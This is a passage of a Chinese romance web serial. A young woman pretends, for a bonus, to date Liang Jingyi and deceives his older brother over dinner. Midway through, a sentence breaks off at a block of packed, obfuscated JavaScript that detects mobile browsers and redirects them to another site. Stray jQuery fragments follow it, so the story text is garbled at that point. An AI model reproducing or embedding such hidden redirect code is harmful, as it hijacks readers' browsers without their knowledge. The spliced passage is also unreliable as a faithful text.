余简之垂下眼,目光放在熟悉的家乡菜上。
这个问题并不难回答。
“九个月了,我们是春天在一起的。”
余简之和梁景翊,虽然同在纽约,但纽约太大,倘若不是刻意邀约,他们根本没有遇到彼此的机会。
经过几次刻意的做饭,然后是刻意的看电影、跨年、聚会……梁景翊的心思昭然若揭。
可是,余简之同样没有拒绝过他的邀约,哪怕只是约会,不是会支付薪水的做饭工作。
她应该是喜欢他的。否则没理由答应他的约会,余简之这么想着,在梁景翊向她表白那天,她抱着同样的想法答应了他。
和梁景翊在一起很开心。尽管他们差距很大,不过他们都是同龄人,每天有聊不完的话题,和梁景翊相处也很轻松,余简之很爱跋扈地提要求,面对她,梁景翊少有少爷架子,毫无意见,尽力满足。
直到梁景翊说他毕业后会回国。
“为什么?”她以为纨绔子弟大部分都会选择留美。
“因为我哥哥在国内啊。我们家的产业大部分都在国内,到时候我也得学着接手呢。你之前不是说过你也想回国?”
余简之有些迟疑:“……嗯。”
“那正好,我们一起回国。”
梁景翊说出“回国”两字后,余简之忽然有种从云端坠落的感觉。
回国。
美国于她而言,更像是一场梦境。不管走得多远,都像是踩在云上,留不下足迹,如果在某处待太久,甚至会下陷。
祖国才是广袤的坚实的土地。她在这里长大,领略祖国的风景,祖国有平安,有……梁怀聿。
在云端,她需要不管不顾地向前奔跑,防止突然到来的坠落;在土地,她将思考如何播种,日月更替,等待丰收。
她注定会在土地安家。
一周后,余简之向梁景翊提了分手。
梁景翊很诧异:“为什么?你是担心我家人会嫌弃你吗?没关系的,我爸妈都去世了,我哥很开明,他不会在意家境的。”
“不是这个原因……”余简之不知该怎么说,“在美国我只要考虑怎么开心就足够了,回国后我有太多要考虑的东西。”
“什么东西?”
什么东西?
她想得到的,以及无法得到的。
和梁景翊的分手很顺利,没有争吵,他不是那种死缠烂打的性格。向余平安讲述时,她说“是和平分手,还能做朋友的那种和平分手”。
因为时差,余简之第二天醒来才收到余平安的回复。
【余平安:是因为你还喜欢梁怀聿,对吗?】
余简之嘴硬地回复了“NO”。
余平安在下午回复她。
【余平安:骗骗自己得了,你敢说你毕业后不会立马回北京么】
因为余平安这句话,余简之气得毕业后赶紧向实习公司讨要了offer。
就这样又留在美国几个月,由夏入秋,穿上外套的那天她在办公室连打了四个喷嚏。
鼻子擤得红通通的,不知道怎么回事,她点开了梁怀聿公司的官网。
制作中文简历,投递。一切交给命运。
命运就是,立冬那天,她出现在北京大兴机场。
-
说出九个月后,余简之恍然,啊原来这就是蒙太奇谎言。
她和梁景翊确实在春天开始恋爱,倘若没分手,也有九个月了,可惜那只是个宝宝爱情,两个月便胎死腹中。
梁怀聿面无表情。
时间和他所想的差不多。
九个月,梁景翊对恋爱或许算不上多认真,但也绝对是有分寸的那种人。他不可能把不确定的女孩带回家给他认识。
梁景翊是真的喜欢余简之。
他看出来了。
“你喜欢景翊哪里?”
余简之刚夹起一筷菜,话音落下的瞬间,辣椒的辛辣猛地蹿进气管。她大声咳嗽,梁怀聿招手替她要了杯冰水。
冰凉的水经过喉咙,给焦灼的心强行降温,高高举起的水杯阻挡与梁怀聿相接的视线,那一刻她下定决心,放下水杯:
“哥哥,其实我——”
手机响了。她从口袋里拿出,在桌下看了看姓名,是梁景翊。
余简之有种干坏事被抓包的感觉。她尴尬一笑:“哥哥我出去接下电话,是工作上的事。”
她顺着指示牌进入卫生间后才按下接听:“喂?”
“喂?简之,家搬好了么?”
“已经搬好了。”梁景翊好像不知道是梁怀聿来搬的家,他没问,她也就不打算说了。
“那就行,我就是来问问你这个事,要是有什么缺的,你再告诉我,我去安排。”
“好……”察觉到他要挂电话,余简之赶紧说,“梁景翊,我们还是向你哥哥坦白吧。”
对面沉默,余简之语速飞快地补充:“我们这样欺骗他不好,要是被发现了,他肯定会生气吧。而且我们也不是真的在一起,到时候我们迟早得分手,对你对我都没有好处啊。”
“那我们到时候再顺其自然地分手不就好了吗?分分合合很正常,他不会发现的。”
“但是如果被他发现就完了!我还怎么在公司上班啊?”
“还没有被发现呢,简之你想那么多干嘛?再说如果你现在跟他说了,让他知道你在欺骗他,他只会更生气吧?你现在就没法在公司待下去了。”
“我不想再骗——”
咬到舌头了,猛地一痛。
痛出眼泪,液体涌进大脑的那一刻,余简之迷迷顿顿地意识到,是啊,如果让梁怀聿知道,她和他的弟弟一起撒谎骗他……
她立刻改口:“算了。但是我演得好累,你哥太聪明了。”
梁景翊的声音动听极了:“加奖金!”
余简之没了犹豫的理由:“成交!”
她握着手机,在洗手台前站了几秒。舌尖抵着被咬痛的地方,一下,两下。
再回到梁怀聿对面,余简之扬起温柔的笑:“我喜欢景翊的温柔、大方、开朗。”
不出错的标准答案。
温柔、大方、开朗。
后两个形容词,确实是梁怀聿心中的弟弟。大方,虽然是拿着他的钱大方,但男孩子大方些是应该的。付出会分泌多巴胺,是快乐的秘诀之一。
开朗,是梁景翊身上最瞩目的特点。活泼、乐观、没有烦恼,对生活永远充满期待,他确实是抱着这样的期望教导弟弟。只是没想到教过头了,太闹腾惹得他心烦。
温柔……
梁怀聿想象不到竟然会有人用这个词来形容梁景翊。
这样形容他的人,是余简之,是梁景翊的女朋友,所以梁怀聿无法驳斥。也许在恋人面前,梁景翊会收敛性子,展现出在他面前完全不同的另一面。
不出错的标准答案,无法令梁怀聿信服。
隔着桌子,余简之安静地吃饭。她握着筷子的动作很标准,梁怀聿并不是连这种细节都要在意的人,他特意关注这点,是因为余简之一开始握住筷子的姿势很别扭,一旦注意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202934|197269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到就会在意起来,他一点点将她纠正。
余简之不是在他身边长大,与她为数不多的见面,梁怀聿每次都会期待她长成了一个什么样的小淑女。
小淑女。
是啊,他是抱着这样的想法在教导她。
温柔、大方、开朗,对待梁景翊和余简之,他一视同仁地教导他们,对他们提出相同的要求,从不厚此薄彼。他确定他的教育是成功的,因此他们更像是两条相同的平行线,不可能相交。
但,由于两人性格底色不同,最终呈现出的感觉也不一样。
例如在温柔这个词上,景翊展现出的更多是和蔼好相处,简之则是和婉与温良。是因为这一点微小的不同,导致他们被对方吸引吗?
余简之察觉到对面男人停止的动作。
她悄悄抬眼,梁怀聿似乎一直看着自己,她吞了吞口水:“怎么了哥哥?我有哪里说得不对吗?”
“我想象不到,你会喜欢上景翊。”
话音落下,一颗花椒在余简之嘴里爆开。她用舌头寻到它,揩在纸巾上,口腔里依然充斥着麻麻辣辣的感觉。
对面,梁怀聿平静地看着她。余简之很少看见他情绪波动,就算有,那也是她很小时候的事了。
他不知道此刻她嘴里的不适与内心的惶恐。
“嗯……为什么?”余简之歪了歪头。
梁怀聿没有回答她这个问题,说:“你和景翊结婚,不一定会幸福。”
余简之的大脑咔哒一下宕机了。
“哥哥的意思是……希望我们分手吗?”
她迟疑着问,声音不自觉放轻。
梁怀聿为什么这么说?在梁怀聿心里,她不够好,配不上他的弟弟?不够好……
她没敢想下去。
小女孩很不开心。
她太年轻,什么心里话都写在脸上。
“如果有结婚的打算,我希望小简慎重考虑。你还年轻,见过的人太少。”
“哦……”余简之眨了眨眼,很缓慢地回答他。
一顿饭吃得食不知味,明明是很喜欢的家乡菜。对面的人吃得也很少,也许因为不合他口味,余简之无法关心他是不是如此。
她去结账,梁怀聿没有拦她。
走出餐厅,回到小区停车场。余简之走在梁怀聿身边时,他会下意识放慢脚步,方便她跟上。
不过余简之早就长大了,她的步子变大了。就算步子还是那样小小的,她也懂事了,会懂得加快脚步。
舌头下似乎仍藏着花椒。余简之舔了舔上颚,又舔了舔齿龈,没有找到。可是嘴巴里依然酥酥麻麻的。
就这么找了一会,她忽地说:“……我在美国见过很多男人。”
这话不假,余简之很漂亮,她曾经怀疑过当初那么多小孩里,唯独她被选中,是不是因为她漂亮?后来她看过小时候自己像小黑猫的照片,就知道绝对不可能。
但本就貌美的坯子,只需在青春期精心养养,便会出落得水灵灵。
在青春期她开始苦恼出现在桌肚的情书,在美国的第一年她面对陌生人的表白时无所适从,再到后来她逐渐学会不将它当成一种亏欠,尽管她不希望别人只关注到她的漂亮。
但她开始询问,“你叫什么名字呀?”
余简之试着和这些喜欢她的人相处、深入了解,然后在暧昧中揭开对方虚伪的面纱,窥见他们糟糕的底色。
他们不是她会喜欢上的男人。
梁景翊刚好是通过了试用期、从暧昧进入确定关系的一个人。